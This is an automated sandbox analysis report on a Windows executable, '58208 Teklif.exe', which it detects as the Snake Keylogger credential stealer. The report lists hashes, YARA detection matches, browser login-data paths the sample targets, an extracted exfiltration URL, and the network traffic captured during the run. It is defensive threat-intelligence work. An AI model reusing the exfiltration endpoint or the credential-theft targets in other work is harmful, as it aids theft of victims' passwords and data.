Edit tour

Windows Analysis Report
58208 Teklif.exe

Overview

General Information

Sample name:	58208 Teklif.exe
Analysis ID:	1422217
MD5:	dc59e080bc0be8cee52ec9e79ccc7e82
SHA1:	22d8e9aab959c584acc896bfeed170ffa672f1cb
SHA256:	95e4dd6cc5a341f4440a113e0a832175aa2f5baafd9c7483255a18088e1c2764
Tags:	exegeoTUR
Infos:

Detection

Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected Snake Keylogger

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Machine Learning detection for sample

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Tries to load missing DLLs

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

58208 Teklif.exe (PID: 7436 cmdline: "C:\Users\user\Desktop\58208 Teklif.exe" MD5: DC59E080BC0BE8CEE52EC9E79CCC7E82)

58208 Teklif.exe (PID: 7580 cmdline: "C:\Users\user\Desktop\58208 Teklif.exe" MD5: DC59E080BC0BE8CEE52EC9E79CCC7E82)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "Url", "Exfil Url": "https://scratchdreams.tk/_send_.php?"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.3764622818.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.3764622818.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000003.00000002.3764622818.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14881:$a1: get_encryptedPassword 0x14b77:$a2: get_encryptedUsername 0x1468d:$a3: get_timePasswordChanged 0x14788:$a4: get_passwordField 0x14897:$a5: set_encryptedPassword 0x15e9f:$a7: get_logins 0x15e02:$a10: KeyLoggerEventArgs 0x15a9b:$a11: KeyLoggerEventArgsEventHandler
00000003.00000002.3764622818.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x197d3:$x1: $%SMTPDV$ 0x1823a:$x2: $#TheHashHere%& 0x1977b:$x3: %FTPDV$ 0x181ac:$x4: $%TelegramDv$ 0x15a9b:$x5: KeyLoggerEventArgs 0x15e02:$x5: KeyLoggerEventArgs 0x1979f:$m2: Clipboard Logs ID 0x19989:$m2: Screenshot Logs ID 0x19a55:$m2: keystroke Logs ID 0x19961:$m4: \SnakeKeylogger\
00000003.00000002.3769706051.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xe2161:$a1: get_encryptedPassword 0x102981:$a1: get_encryptedPassword 0x122fa1:$a1: get_encryptedPassword 0xe2457:$a2: get_encryptedUsername 0x102c77:$a2: get_encryptedUsername 0x123297:$a2: get_encryptedUsername 0xe1f6d:$a3: get_timePasswordChanged 0x10278d:$a3: get_timePasswordChanged 0x122dad:$a3: get_timePasswordChanged 0xe2068:$a4: get_passwordField 0x102888:$a4: get_passwordField 0x122ea8:$a4: get_passwordField 0xe2177:$a5: set_encryptedPassword 0x102997:$a5: set_encryptedPassword 0x122fb7:$a5: set_encryptedPassword 0xe377f:$a7: get_logins 0x103f9f:$a7: get_logins 0x1245bf:$a7: get_logins 0xe36e2:$a10: KeyLoggerEventArgs 0x103f02:$a10: KeyLoggerEventArgs 0x124522:$a10: KeyLoggerEventArgs
00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xe70b3:$x1: $%SMTPDV$ 0x1078d3:$x1: $%SMTPDV$ 0x127ef3:$x1: $%SMTPDV$ 0xe5b1a:$x2: $#TheHashHere%& 0x10633a:$x2: $#TheHashHere%& 0x12695a:$x2: $#TheHashHere%& 0xe705b:$x3: %FTPDV$ 0x10787b:$x3: %FTPDV$ 0x127e9b:$x3: %FTPDV$ 0xe5a8c:$x4: $%TelegramDv$ 0x1062ac:$x4: $%TelegramDv$ 0x1268cc:$x4: $%TelegramDv$ 0xe337b:$x5: KeyLoggerEventArgs 0xe36e2:$x5: KeyLoggerEventArgs 0x103b9b:$x5: KeyLoggerEventArgs 0x103f02:$x5: KeyLoggerEventArgs 0x1241bb:$x5: KeyLoggerEventArgs 0x124522:$x5: KeyLoggerEventArgs 0xe707f:$m2: Clipboard Logs ID 0xe7269:$m2: Screenshot Logs ID 0xe7335:$m2: keystroke Logs ID
Process Memory Space: 58208 Teklif.exe PID: 7436	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 58208 Teklif.exe PID: 7436	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 58208 Teklif.exe PID: 7436	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: 58208 Teklif.exe PID: 7436	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x473ca:$a1: get_encryptedPassword 0x476b6:$a2: get_encryptedUsername 0x471e0:$a3: get_timePasswordChanged 0x472db:$a4: get_passwordField 0x473e0:$a5: set_encryptedPassword 0x4981e:$a7: get_logins 0x49781:$a10: KeyLoggerEventArgs 0x4941a:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: 58208 Teklif.exe PID: 7436	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x4941a:$x5: KeyLoggerEventArgs 0x49781:$x5: KeyLoggerEventArgs 0x4a06f:$x5: KeyLoggerEventArgs 0x4a3a3:$x5: KeyLoggerEventArgs 0x4b937:$m2: Clipboard Logs ID 0x4ba26:$m2: Screenshot Logs ID 0x4ba5a:$m2: keystroke Logs ID 0x4ba12:$m4: \SnakeKeylogger\
Process Memory Space: 58208 Teklif.exe PID: 7580	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 58208 Teklif.exe PID: 7580	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: 58208 Teklif.exe PID: 7580	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x61769:$a1: get_encryptedPassword 0x61a55:$a2: get_encryptedUsername 0x6157f:$a3: get_timePasswordChanged 0x6167a:$a4: get_passwordField 0x6177f:$a5: set_encryptedPassword 0x63bbd:$a7: get_logins 0x63b20:$a10: KeyLoggerEventArgs 0x637b9:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: 58208 Teklif.exe PID: 7580	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x637b9:$x5: KeyLoggerEventArgs 0x63b20:$x5: KeyLoggerEventArgs 0x6440e:$x5: KeyLoggerEventArgs 0x64742:$x5: KeyLoggerEventArgs 0x65cd6:$m2: Clipboard Logs ID 0x65dc5:$m2: Screenshot Logs ID 0x65df9:$m2: keystroke Logs ID 0x65db1:$m4: \SnakeKeylogger\
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.58208 Teklif.exe.445b6e0.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.58208 Teklif.exe.445b6e0.7.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.58208 Teklif.exe.445b6e0.7.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12c81:$a1: get_encryptedPassword 0x12f77:$a2: get_encryptedUsername 0x12a8d:$a3: get_timePasswordChanged 0x12b88:$a4: get_passwordField 0x12c97:$a5: set_encryptedPassword 0x1429f:$a7: get_logins 0x14202:$a10: KeyLoggerEventArgs 0x13e9b:$a11: KeyLoggerEventArgsEventHandler
0.2.58208 Teklif.exe.445b6e0.7.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a49d:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x196cf:$a3: \Google\Chrome\User Data\Default\Login Data 0x19b02:$a4: \Orbitum\User Data\Default\Login Data 0x1ab41:$a5: \Kometa\User Data\Default\Login Data
0.2.58208 Teklif.exe.445b6e0.7.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x13828:$s1: UnHook 0x1382f:$s2: SetHook 0x13837:$s3: CallNextHook 0x13844:$s4: _hook
0.2.58208 Teklif.exe.445b6e0.7.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x17bd3:$x1: $%SMTPDV$ 0x1663a:$x2: $#TheHashHere%& 0x17b7b:$x3: %FTPDV$ 0x165ac:$x4: $%TelegramDv$ 0x13e9b:$x5: KeyLoggerEventArgs 0x14202:$x5: KeyLoggerEventArgs 0x17b9f:$m2: Clipboard Logs ID 0x17d89:$m2: Screenshot Logs ID 0x17e55:$m2: keystroke Logs ID 0x17d61:$m4: \SnakeKeylogger\
3.2.58208 Teklif.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.58208 Teklif.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
3.2.58208 Teklif.exe.400000.0.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
3.2.58208 Teklif.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14a81:$a1: get_encryptedPassword 0x14d77:$a2: get_encryptedUsername 0x1488d:$a3: get_timePasswordChanged 0x14988:$a4: get_passwordField 0x14a97:$a5: set_encryptedPassword 0x1609f:$a7: get_logins 0x16002:$a10: KeyLoggerEventArgs 0x15c9b:$a11: KeyLoggerEventArgsEventHandler
3.2.58208 Teklif.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1c29d:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b4cf:$a3: \Google\Chrome\User Data\Default\Login Data 0x1b902:$a4: \Orbitum\User Data\Default\Login Data 0x1c941:$a5: \Kometa\User Data\Default\Login Data
3.2.58208 Teklif.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x15628:$s1: UnHook 0x1562f:$s2: SetHook 0x15637:$s3: CallNextHook 0x15644:$s4: _hook
3.2.58208 Teklif.exe.400000.0.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x199d3:$x1: $%SMTPDV$ 0x1843a:$x2: $#TheHashHere%& 0x1997b:$x3: %FTPDV$ 0x183ac:$x4: $%TelegramDv$ 0x15c9b:$x5: KeyLoggerEventArgs 0x16002:$x5: KeyLoggerEventArgs 0x1999f:$m2: Clipboard Logs ID 0x19b89:$m2: Screenshot Logs ID 0x19c55:$m2: keystroke Logs ID 0x19b61:$m4: \SnakeKeylogger\
0.2.58208 Teklif.exe.447bf00.8.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.58208 Teklif.exe.447bf00.8.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.58208 Teklif.exe.447bf00.8.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12c81:$a1: get_encryptedPassword 0x12f77:$a2: get_encryptedUsername 0x12a8d:$a3: get_timePasswordChanged 0x12b88:$a4: get_passwordField 0x12c97:$a5: set_encryptedPassword 0x1429f:$a7: get_logins 0x14202:$a10: KeyLoggerEventArgs 0x13e9b:$a11: KeyLoggerEventArgsEventHandler
0.2.58208 Teklif.exe.447bf00.8.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a49d:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x196cf:$a3: \Google\Chrome\User Data\Default\Login Data 0x19b02:$a4: \Orbitum\User Data\Default\Login Data 0x1ab41:$a5: \Kometa\User Data\Default\Login Data
0.2.58208 Teklif.exe.447bf00.8.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x13828:$s1: UnHook 0x1382f:$s2: SetHook 0x13837:$s3: CallNextHook 0x13844:$s4: _hook
0.2.58208 Teklif.exe.447bf00.8.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x17bd3:$x1: $%SMTPDV$ 0x1663a:$x2: $#TheHashHere%& 0x17b7b:$x3: %FTPDV$ 0x165ac:$x4: $%TelegramDv$ 0x13e9b:$x5: KeyLoggerEventArgs 0x14202:$x5: KeyLoggerEventArgs 0x17b9f:$m2: Clipboard Logs ID 0x17d89:$m2: Screenshot Logs ID 0x17e55:$m2: keystroke Logs ID 0x17d61:$m4: \SnakeKeylogger\
0.2.58208 Teklif.exe.447bf00.8.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.58208 Teklif.exe.447bf00.8.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.58208 Teklif.exe.447bf00.8.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.58208 Teklif.exe.447bf00.8.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14a81:$a1: get_encryptedPassword 0x350a1:$a1: get_encryptedPassword 0x14d77:$a2: get_encryptedUsername 0x35397:$a2: get_encryptedUsername 0x1488d:$a3: get_timePasswordChanged 0x34ead:$a3: get_timePasswordChanged 0x14988:$a4: get_passwordField 0x34fa8:$a4: get_passwordField 0x14a97:$a5: set_encryptedPassword 0x350b7:$a5: set_encryptedPassword 0x1609f:$a7: get_logins 0x366bf:$a7: get_logins 0x16002:$a10: KeyLoggerEventArgs 0x36622:$a10: KeyLoggerEventArgs 0x15c9b:$a11: KeyLoggerEventArgsEventHandler 0x362bb:$a11: KeyLoggerEventArgsEventHandler
0.2.58208 Teklif.exe.447bf00.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x15628:$s1: UnHook 0x35c48:$s1: UnHook 0x1562f:$s2: SetHook 0x35c4f:$s2: SetHook 0x15637:$s3: CallNextHook 0x35c57:$s3: CallNextHook 0x15644:$s4: _hook 0x35c64:$s4: _hook
0.2.58208 Teklif.exe.447bf00.8.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x199d3:$x1: $%SMTPDV$ 0x39ff3:$x1: $%SMTPDV$ 0x1843a:$x2: $#TheHashHere%& 0x38a5a:$x2: $#TheHashHere%& 0x1997b:$x3: %FTPDV$ 0x39f9b:$x3: %FTPDV$ 0x183ac:$x4: $%TelegramDv$ 0x389cc:$x4: $%TelegramDv$ 0x15c9b:$x5: KeyLoggerEventArgs 0x16002:$x5: KeyLoggerEventArgs 0x362bb:$x5: KeyLoggerEventArgs 0x36622:$x5: KeyLoggerEventArgs 0x1999f:$m2: Clipboard Logs ID 0x19b89:$m2: Screenshot Logs ID 0x19c55:$m2: keystroke Logs ID 0x39fbf:$m2: Clipboard Logs ID 0x3a1a9:$m2: Screenshot Logs ID 0x3a275:$m2: keystroke Logs ID 0x19b61:$m4: \SnakeKeylogger\ 0x3a181:$m4: \SnakeKeylogger\
0.2.58208 Teklif.exe.445b6e0.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.58208 Teklif.exe.445b6e0.7.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.58208 Teklif.exe.445b6e0.7.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.58208 Teklif.exe.445b6e0.7.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14a81:$a1: get_encryptedPassword 0x352a1:$a1: get_encryptedPassword 0x558c1:$a1: get_encryptedPassword 0x14d77:$a2: get_encryptedUsername 0x35597:$a2: get_encryptedUsername 0x55bb7:$a2: get_encryptedUsername 0x1488d:$a3: get_timePasswordChanged 0x350ad:$a3: get_timePasswordChanged 0x556cd:$a3: get_timePasswordChanged 0x14988:$a4: get_passwordField 0x351a8:$a4: get_passwordField 0x557c8:$a4: get_passwordField 0x14a97:$a5: set_encryptedPassword 0x352b7:$a5: set_encryptedPassword 0x558d7:$a5: set_encryptedPassword 0x1609f:$a7: get_logins 0x368bf:$a7: get_logins 0x56edf:$a7: get_logins 0x16002:$a10: KeyLoggerEventArgs 0x36822:$a10: KeyLoggerEventArgs 0x56e42:$a10: KeyLoggerEventArgs
0.2.58208 Teklif.exe.445b6e0.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x15628:$s1: UnHook 0x35e48:$s1: UnHook 0x56468:$s1: UnHook 0x1562f:$s2: SetHook 0x35e4f:$s2: SetHook 0x5646f:$s2: SetHook 0x15637:$s3: CallNextHook 0x35e57:$s3: CallNextHook 0x56477:$s3: CallNextHook 0x15644:$s4: _hook 0x35e64:$s4: _hook 0x56484:$s4: _hook
0.2.58208 Teklif.exe.445b6e0.7.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x199d3:$x1: $%SMTPDV$ 0x3a1f3:$x1: $%SMTPDV$ 0x5a813:$x1: $%SMTPDV$ 0x1843a:$x2: $#TheHashHere%& 0x38c5a:$x2: $#TheHashHere%& 0x5927a:$x2: $#TheHashHere%& 0x1997b:$x3: %FTPDV$ 0x3a19b:$x3: %FTPDV$ 0x5a7bb:$x3: %FTPDV$ 0x183ac:$x4: $%TelegramDv$ 0x38bcc:$x4: $%TelegramDv$ 0x591ec:$x4: $%TelegramDv$ 0x15c9b:$x5: KeyLoggerEventArgs 0x16002:$x5: KeyLoggerEventArgs 0x364bb:$x5: KeyLoggerEventArgs 0x36822:$x5: KeyLoggerEventArgs 0x56adb:$x5: KeyLoggerEventArgs 0x56e42:$x5: KeyLoggerEventArgs 0x1999f:$m2: Clipboard Logs ID 0x19b89:$m2: Screenshot Logs ID 0x19c55:$m2: keystroke Logs ID
Click to see the 26 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://scratchdreams.tk	Avira URL Cloud: Label: malware
Source: http://scratchdreams.tk	Avira URL Cloud: Label: malware
Source: https://scratchdreams.tk/_send_.php?TS	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Url", "Exfil Url": "https://scratchdreams.tk/_send_.php?"}

Multi AV Scanner detection for domain / URL

Source: scratchdreams.tk	Virustotal: Detection: 6%			Perma Link
Source: https://scratchdreams.tk	Virustotal: Detection: 15%			Perma Link

Multi AV Scanner detection for submitted file

Source: 58208 Teklif.exe	ReversingLabs: Detection: 52%
Source: 58208 Teklif.exe	Virustotal: Detection: 65%			Perma Link

Machine Learning detection for sample

Source: 58208 Teklif.exe

Joe Sandbox ML: detected

Source: 58208 Teklif.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.21.67.152:443 -> 192.168.2.11:49711 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 172.67.169.18:443 -> 192.168.2.11:49727 version: TLS 1.2

Source: 58208 Teklif.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: uVJY.pdb source: 58208 Teklif.exe
Source:	Binary string: uVJY.pdbSHA256N source: 58208 Teklif.exe

Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 0141F7A1h	3_2_0141F502
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_0141EA08
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 05A9CC61h	3_2_05A9C9B8
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 05A91C31h	3_2_05A91980
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 05A9FC29h	3_2_05A9F980
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 05A92658h	3_2_05A92586
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 05A92091h	3_2_05A91DE0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 05A9F7D1h	3_2_05A9F528
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 05A917D1h	3_2_05A91520
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 05A9C3B1h	3_2_05A9C108
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 05A9C809h	3_2_05A9C560
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 05A91371h	3_2_05A910C0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 05A9F379h	3_2_05A9F0D0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 05A9EAC9h	3_2_05A9E820
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 05A90F11h	3_2_05A90C60
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 05A9EF21h	3_2_05A9EC78
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 05A9021Dh	3_2_05A90040
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 05A90BA7h	3_2_05A90040
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 05A9E671h	3_2_05A9E3C8
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 05A9DDC1h	3_2_05A9DB18
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 05A9E219h	3_2_05A9DF70
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 05A9D969h	3_2_05A9D6C0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 05A9D0B9h	3_2_05A9CE10
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 05A9D511h	3_2_05A9D268
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 05A92658h	3_2_05A92240
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 06BD8D95h	3_2_06BD8A58
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 06BD6169h	3_2_06BD5EC0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 06BD88A9h	3_2_06BD8600
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 06BD5D11h	3_2_06BD5A68
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 06BD6E71h	3_2_06BD6BC8
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 06BD65C1h	3_2_06BD6318
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 06BD6A19h	3_2_06BD6770
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 06BD774Ah	3_2_06BD74A0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 06BD0741h	3_2_06BD0498
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 06BD7BA1h	3_2_06BD78F8
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 06BD0B99h	3_2_06BD08F0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 06BD72C9h	3_2_06BD7020
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	3_2_06BD3808
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	3_2_06BD3803
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 06BD02E9h	3_2_06BD0040
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 06BD8451h	3_2_06BD81A8
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 06BD1449h	3_2_06BD11A0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 06BD5891h	3_2_06BD55E8
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 06BD7FF9h	3_2_06BD7D50
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 4x nop then jmp 06BD0FF1h	3_2_06BD0D48

Networking

Yara detected Generic Downloader

Source: Yara match	File source: 3.2.58208 Teklif.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.58208 Teklif.exe.447bf00.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.58208 Teklif.exe.445b6e0.7.raw.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /_send_.php?TS HTTP/1.1Host: scratchdreams.tkConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.67.152 104.21.67.152
Source: Joe Sandbox View	IP Address: 172.67.169.18 172.67.169.18
Source: Joe Sandbox View	IP Address: 193.122.130.0 193.122.130.0

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: checkip.dyndns.org

